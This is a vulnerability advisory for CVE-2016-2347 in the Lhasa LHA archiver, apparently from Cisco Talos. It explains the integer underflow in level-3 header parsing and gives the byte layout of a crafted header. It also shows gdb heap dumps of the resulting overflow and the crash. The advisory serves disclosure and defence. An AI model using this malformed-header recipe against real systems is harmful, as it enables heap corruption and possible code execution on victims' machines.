CVE-2016-2347
An exploitable integer underflow exists during calculation size for all headers in decode_level3_header function of Lhasa (lha) application. Smaller value of header_len than LEVEL_3_HEADER_LEN ( 32 ) cause during subtraction integer underflow and lead later to memory corruption via heap based buffer overflow.
Lhasa v0.3.0 command line LHA tool - Copyright (C) 2011,2012 Simon Howard
Lhasa v0.0.7 command line LHA tool - Copyright (C) 2011,2012 Simon Howard
https://github.com/fragglet/lhasa
Code analysis:
lib\lha_file_header.c
Line 772 static int decode_level3_header(LHAFileHeader **header, LHAInputStream *stream)
Line 773 {
Line 774 unsigned int header_len;
Line 775
Line 776 // The first field at the start of a level 3 header is supposed to
Line 777 // indicate word size, with the idea being that the header format
Line 778 // can be extended beyond 32-bit words in the future. In practise,
Line 779 // nothing supports anything other than 32-bit (4 bytes), and neither
Line 780 // do we.
Line 781
Line 782 if (lha_decode_uint16(&RAW_DATA(header, 0)) != 4) {
Line 783 return 0;
Line 784 }
Line 785
Line 786 // Read the full header.
Line 787
Line 788 if (!extend_raw_data(header, stream,
Line 789 LEVEL_3_HEADER_LEN - RAW_DATA_LEN(header))) {
Line 790 return 0;
Line 791 }
Line 792
Line 793 // Read the header length field (including extended headers), and
Line 794 // extend to this full length. Because this is a 32-bit value,
Line 795 // we must place a sensible limit on the amount of data that will
Line 796 // be read, to avoid possibly allocating gigabytes of memory.
Line 797
Line 798 header_len = lha_decode_uint32(&RAW_DATA(header, 24));
Line 799
Line 800 if (header_len > LEVEL_3_MAX_HEADER_LEN) {
Line 801 return 0;
Line 802 }
Line 803
Line 804 if (!extend_raw_data(header, stream,
Line 805 header_len - RAW_DATA_LEN(header))) {
Line 806 return 0;
Line 807 }
header_len from line 798 is fully controllable 32bit value represents total size of headers (header + extended headers). Because its value is only check to not exceed LEVEL_3_MAX_HEADER_LEN in line 804 for header_len values smaller than LEVEL_3_HEADER_LEN ( 32 ) integer underflow will occur with significant consequences for further code execution. For all header_len values in range <0;32) result of this subtraction from line 789 will be close to UINT_MAX.
Next we land inside :
Line 346 static uint8_t *extend_raw_data(LHAFileHeader **header,
Line 347 LHAInputStream *stream,
Line 348 size_t nbytes)
Line 349 {
Line 350 LHAFileHeader *new_header;
Line 351 size_t new_raw_len;
Line 352 uint8_t *result;
Line 353
Line 354 // Reallocate the header and raw_data area to be larger.
Line 355
Line 356 new_raw_len = RAW_DATA_LEN(header) + nbytes;
Line 357 new_header = realloc(*header, sizeof(LHAFileHeader) + new_raw_len);
Line 358
Line 359 if (new_header == NULL) {
Line 360 return NULL;
Line 361 }
Line 362
Line 363 // Update the header pointer to point to the new area.
Line 364
Line 365 *header = new_header;
Line 366 new_header->raw_data = (uint8_t *) (new_header + 1);
Line 367 result = new_header->raw_data + new_header->raw_data_len;
Line 368
Line 369 // Read data from stream into new area.
Line 370
Line 371 if (!lha_input_stream_read(stream, result, nbytes)) {
Line 372 return NULL;
Line 373 }
Here the result of mentioned above subtraction is of course nbytes argument.
First problem starts in Line 357, when header_len for e.g equal 0 new_raw_len will equal 0 and realloc instead of increase “header” memory area going to decrees its size.
In consequences “result” pointer will point on released memory.
Heap based buffer overflow appears in Line 371 where to “result” buffer is readed “nbytes” (~UINT_MAX) directly from file.
Attacker controlling length and content of file can fully controllable overwrite heap with specified content.
File format based on attached PoC:
04 00 - header size
2D 6C 68 37 2D - compression method
21 00 00 01 - compressed_length
2E 00 00 00 - file length
92 91 85 40 - unix timestamp
20 - reserved
03 - level
41 41 - CRC
41 - Os ID
00 00 00 00 - extensions headers length
Lets see this in gdb:
python sys.path.append('/home/icewall/tools/gdb-heap')
python import gdbheap
// Read data from stream into new area.
EIP-> if (!lha_input_stream_read(stream, result, nbytes)) {
return NULL;
}
heap used
Used chunks of memory on heap
-----------------------------
0: 0x0000000000615010 -> 0x000000000061524f 576 bytes uncategorized::576 bytes |.$......$P.....DT......P.....|
1: 0x0000000000615250 -> 0x000000000061528f 64 bytes uncategorized::64 bytes |0.@......Pa...........-lh7-!....|
2: 0x0000000000615290 -> 0x00000000006152df 80 bytes uncategorized::80 bytes |.Ra.............................|
3: 0x00000000006152e0 -> 0x000000000061530f 48 bytes C:string data:None |PRa.............................|
4: 0x0000000000615310 -> 0x00000000006153bf 176 bytes uncategorized::176 bytes |................................|
5: 0x00000000006153c0 -> 0x00000000006153df 32 bytes uncategorized::32 bytes |............AAAA........1.......|
p result
$2 = (uint8_t *) 0x6153d0 ""
heap all
All chunks of memory on heap (both used and free)
-------------------------------------------------
0: 0x0000000000615000 -> 0x000000000061523f inuse: 576 bytes (<MChunkPtr chunk=0x615000 mem=0x615010 PREV_INUSE inuse chunksize=576 memsize=560>)
1: 0x0000000000615240 -> 0x000000000061527f inuse: 64 bytes (<MChunkPtr chunk=0x615240 mem=0x615250 PREV_INUSE inuse chunksize=64 memsize=48>)
2: 0x0000000000615280 -> 0x00000000006152cf inuse: 80 bytes (<MChunkPtr chunk=0x615280 mem=0x615290 PREV_INUSE inuse chunksize=80 memsize=64>)
3: 0x00000000006152d0 -> 0x00000000006152ff inuse: 48 bytes (<MChunkPtr chunk=0x6152d0 mem=0x6152e0 PREV_INUSE inuse chunksize=48 memsize=32>)
4: 0x0000000000615300 -> 0x00000000006153af inuse: 176 bytes (<MChunkPtr chunk=0x615300 mem=0x615310 PREV_INUSE inuse chunksize=176 memsize=160>)
5: 0x00000000006153b0 -> 0x00000000006153cf inuse: 32 bytes (<MChunkPtr chunk=0x6153b0 mem=0x6153c0 PREV_INUSE inuse chunksize=32 memsize=16>)
p header
$3 = (LHAFileHeader **) 0x7fffffffdcd8
p *header
$4 = (LHAFileHeader *) 0x615310
p result
$5 = (uint8_t *) 0x6153d0 ""
heap all
All chunks of memory on heap (both used and free)
-------------------------------------------------
0: 0x0000000000615000 -> 0x000000000061523f inuse: 576 bytes (<MChunkPtr chunk=0x615000 mem=0x615010 PREV_INUSE inuse chunksize=576 memsize=560>)
1: 0x0000000000615240 -> 0x000000000061527f inuse: 64 bytes (<MChunkPtr chunk=0x615240 mem=0x615250 PREV_INUSE inuse chunksize=64 memsize=48>)
2: 0x0000000000615280 -> 0x00000000006152cf inuse: 80 bytes (<MChunkPtr chunk=0x615280 mem=0x615290 PREV_INUSE inuse chunksize=80 memsize=64>)
3: 0x00000000006152d0 -> 0x00000000006152ff inuse: 48 bytes (<MChunkPtr chunk=0x6152d0 mem=0x6152e0 PREV_INUSE inuse chunksize=48 memsize=32>)
4: 0x0000000000615300 -> 0x00000000006153af inuse: 176 bytes (<MChunkPtr chunk=0x615300 mem=0x615310 PREV_INUSE inuse chunksize=176 memsize=160>)
5: 0x00000000006153b0 -> 0x00000000006153cf inuse: 32 bytes (<MChunkPtr chunk=0x6153b0 mem=0x6153c0 PREV_INUSE inuse chunksize=32 memsize=16>)
heap free
Free chunks of memory on heap
-----------------------------
top
0: 0x00000000006153e0 -> 0x000000000063600f 134192 bytes uncategorized::134192 bytes |................................|
fastbin 0
1: 0x00000000006153c0 -> 0x00000000006153df 32 bytes uncategorized::32 bytes |............AAAA........1.......|
fastbin 1
fastbin 2
fastbin 3
x/10 result
0x6153d0: 0x00000000 0x00000000 0x00020c31 0x00000000
0x6153e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6153f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x615400: 0x00000000 0x00000000 0x00000000 0x00000000
0x615410: 0x00000000 0x00000000 0x00000000 0x00000000
0x615420: 0x00000000 0x00000000 0x00000000 0x00000000
0x615430: 0x00000000 0x00000000 0x00000000 0x00000000
n (make step ) - trigger read from file and !!!! BUFFER OVERFLOW !!!!
heap free
Free chunks of memory on heap
-----------------------------
top
0: 0x00000000006153e0 -> 0x4141414141a2951f 4702111234474983744 bytes C:string data:None |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
fastbin 0
1: 0x00000000006153c0 -> 0x00000000006153df 32 bytes uncategorized::32 bytes |............AAAAAAAAAAAAAAAAAAAA|
fastbin 1
fastbin 2
fastbin 3
fastbin 4
fastbin 5
Total size: 4702111234474983776
r - run app
Starting program: /home/icewall/bugs/lhasa/bin/lha -xfw=/tmp /home/icewall/tools/afl- 1.94b/out/crashes/id:000001,sig:11,src:002462,op:havoc,rep:2
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a9412f in _int_free (av=0x7ffff7dd3760 <main_arena>, p=<optimized out>, have_lock=0) at malloc.c:3996
3996 malloc.c: No such file or directory.
(gdb) bt
#0 0x00007ffff7a9412f in _int_free (av=0x7ffff7dd3760 <main_arena>, p=<optimized out>, have_lock=0) at malloc.c:3996
#1 0x000000000040742b in lha_file_header_free (header=0x615310) at lha_file_header.c:1069
#2 0x0000000000407395 in lha_file_header_read (stream=0x615250) at lha_file_header.c:1044
#3 0x000000000040756f in lha_basic_reader_next_file (reader=0x6152e0) at lha_basic_reader.c:90
#4 0x000000000040478d in lha_reader_next_file (reader=0x615290) at lha_reader.c:310
#5 0x0000000000401c63 in lha_filter_next_file (filter=0x7fffffffde10) at filter.c:132
#6 0x00000000004035da in extract_archive (filter=0x7fffffffde10, options=0x7fffffffde60) at extract.c:588
#7 0x00000000004016fc in do_command (mode=MODE_EXTRACT,
filename=0x7fffffffe2fd "/home/icewall/tools/afl-1.94b/out/crashes/id:000001,sig:11,src:002462,op:havoc,rep:2", options=0x7fffffffde60,
filters=0x7fffffffdf80, num_filters=0) at main.c:102
#8 0x00000000004019da in main (argc=3, argv=0x7fffffffdf68) at main.c:266
2016-02-16 - Vendor Notification 2016-03-31 - Public Disclosure
Discovered by Marcin ‘Icewall’ Noga of Cisco TALOS